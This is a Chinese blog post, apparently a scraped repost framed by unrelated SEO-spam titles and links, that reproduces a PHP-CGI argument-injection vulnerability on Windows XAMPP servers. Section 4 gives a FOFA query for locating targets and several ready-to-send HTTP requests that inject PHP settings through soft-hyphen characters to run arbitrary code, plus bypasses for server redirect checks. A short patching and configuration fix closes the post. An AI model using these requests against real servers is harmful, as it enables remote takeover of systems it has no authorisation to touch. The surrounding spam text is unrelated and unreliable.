当前位置: 首页 > news >正文

有没有专门做采购的网站广州百度搜索优化

有没有专门做采购的网站,广州百度搜索优化,布吉网站开发,新浪短链接生成PHP语言在设计时忽略了Windows对字符编码转换的 Best-Fit 特性,导致未授权的攻击者可以通过特定字符串绕过 CVE-2012-1823 补丁,执行任意PHP代码,导致服务器失陷。 1.漏洞级别 高危 2.漏洞搜索 fofa: app"XAMPP"3.影响范围 P…

PHP语言在设计时忽略了Windows对字符编码转换的 Best-Fit 特性,导致未授权的攻击者可以通过特定字符串绕过 CVE-2012-1823 补丁,执行任意PHP代码,导致服务器失陷。

1.漏洞级别

高危

2.漏洞搜索

fofa:

app="XAMPP"

3.影响范围

PHP8.3 < 8.3.8
PHP8.2 < 8.2.20
PHP < 8.1.29
低版本PHP基本都可以生效

4.漏洞复现

4.1 限制条件分析

  • 系统环境为Windows
  • 使用了如下语系:简体中文936/繁体中文950/日文932
  • 直接使用php-cgi启动
  • 即使 PHP 未配置为 CGI 模式,仅将 PHP 可执行二进制文件暴露在 CGI 目录 (XAMPP默认配置)

4.2 漏洞利用

在低版本的XAMPP默认配置下是完美满足所有的利用条件。
可以直接构造POC

GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 22<?php phpinfo() ?>

注:

  • 这里的请求POST或者GET皆可,没有区别。
  • 正文里面的字段为需要执行的语句,需要以PHP文件的形式
    在这里插入图片描述
    在这种默认情况下漏洞利用相对简单。

4.3 漏洞进阶

但是如果我们在一些服务器上进行测试你就会发现,对该漏洞的利用失败,出现如下错误。
在这里插入图片描述这里的主要原因是因为PHP-CGI并不是高版本下的默认启动版本。我们通过phpinfo()页面就可以看到。
在这里插入图片描述PHP存在安全机制,在没有Action指令的情况下直接访问php-cgi.exe,REDIRECT_STATUS环境变量不会被设置,导致访问会返回500,这一配置是默认存在的。
解决方法也很简单,手动构造REDIRECT_STATUS变量即可,
构造

GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Redirect-Status: 1
Content-Length: 22<?php phpinfo() ?>

即可成功返回结果
在这里插入图片描述

另外的,我们也可以通过设置参数-d cgi.force_redirect=0 来绕过Redirect-Status的校验。
注:在高版本PHP中,allow_url_include已经被废弃,导致Content-Type头输出失败,也会返回500。需要添加一个-d error_reporting=0来规避这一点。
构造:

GET /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+error_reporting%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Length: 23<?php phpinfo(); ?>

注:这个方法是我看大佬的文章中提到,实际测试中发现还是会500,不知道原因,但是也附在这里,提供给大家参考。

5.修复方案

  • 1.升级PHP版本,官方已推出修复方案。修复版本包括最新的 PHP 版本 8.3.8、8.2.20 和 8.1.29。
  • 于使用 XAMPP for Windows 的用户:如果您确认不需要 PHP CGI 功能,则可以通过修改以下 Apache HTTP Server 配置来避免暴露于此漏洞
 C:/xampp/apache/conf/extra/httpd-xampp.conf

找到相应的行:

ScriptAlias /php-cgi/ "C:/xampp/php/"

并将其注释掉

# ScriptAlias /php-cgi/ "C:/xampp/php/"
http://www.tj-hxxt.cn/news/55619.html

相关文章:

  • 网站app开发怎么制作一个网页
  • 阿里国际网站做免费有用吗网站seo排名
  • 国外网站开发公司网站制作app
  • 做网站代理需要办什么营业执照如何做seo搜索优化
  • 什么网站容易做流量推广的渠道和方法有哪些
  • 主页页面青岛网络优化费用
  • 网站专题栏目策划方案护肤品推广软文
  • 徐州做网站管理的公司网络宣传怎么做
  • 网站建设的好不好重庆网站seo服务
  • 上海网站建设网站制指数基金怎么买
  • 跟京东类似的网站今天特大新闻
  • 做软件营销网站怎么样搜索引擎优化哪些方面
  • 网站申请qq黑帽seo技术有哪些
  • 美的技术网站网站开发用什么语言
  • 网站开发三大流行语言安装百度
  • 好看的学校网站首页百度公司的发展历程
  • 网站发布方式有哪些现在学seo课程多少钱
  • wordpress设置tdk东莞关键词优化推广
  • 网站建站推广是啥意思重庆百度关键词优化软件
  • 常州网站排名提升小红书代运营
  • chn域名网站软文营销案例
  • 自己做新闻网站百度推广充值必须5000吗
  • h5个人博客网站模板广州最新政策
  • 西宁网站建设平台公司搜狗推广登录平台
  • 网站qq联系怎么做在百度上怎么注册网站
  • jsp租房网站开发长春网站公司哪家好
  • 学做网站用谁的书爱站小工具圣经
  • 创新网站建设方案书把百度网址大全设为首页
  • 怎样用vs2017做网站谷歌应用商店下载
  • 东莞网页网站制作免费男女打扑克的软件